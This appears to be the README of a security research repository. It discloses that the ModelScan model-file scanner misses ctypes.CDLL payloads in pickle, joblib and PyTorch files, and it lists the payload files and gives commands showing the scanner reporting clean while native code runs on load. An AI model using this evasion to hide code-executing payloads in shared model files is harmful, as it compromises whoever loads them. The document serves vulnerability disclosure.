manbearpig-mb/joblib-ctypes-native-code-bypass

ModelScan Scanner Bypass via ctypes.CDLL — Native Code Execution

Security research artifact. Do not use in production.

ModelScan v0.8.8 does not include ctypes in its unsafe_globals blocklist. ctypes.CDLL() loads a native shared library (.so/.dll/.dylib) via the operating system's dynamic linker, executing compiled machine code — not Python exec(), but arbitrary CPU instructions with direct syscall access.

The .pt variant bundles the .so inside the ZIP archive, creating a single-file attack.

Files

• evil.so - compiled shared library payload (writes proof file on load)
• malicious_ctypes.pkl - pickle file with ctypes.CDLL payload
• malicious_ctypes.joblib - same payload as joblib
• malicious_ctypes.pt - PyTorch format with .so bundled inside the ZIP archive
• poc_ctypes_bypass.py - generator script (compiles .so + generates all variants)

Reproduction

pip install modelscan

# Generate all payloads (requires gcc):
python3 poc_ctypes_bypass.py

# Scanner reports clean on all variants:
modelscan --path malicious_ctypes.pkl
# Output: "No issues found"

modelscan --path malicious_ctypes.joblib
# Output: "No issues found"

# Verify native code execution:
python3 -c "import pickle; pickle.load(open('malicious_ctypes.pkl','rb'))"
cat /tmp/ctypes_pwned.txt
# Output: "RCE achieved via ctypes.CDLL constructor execution"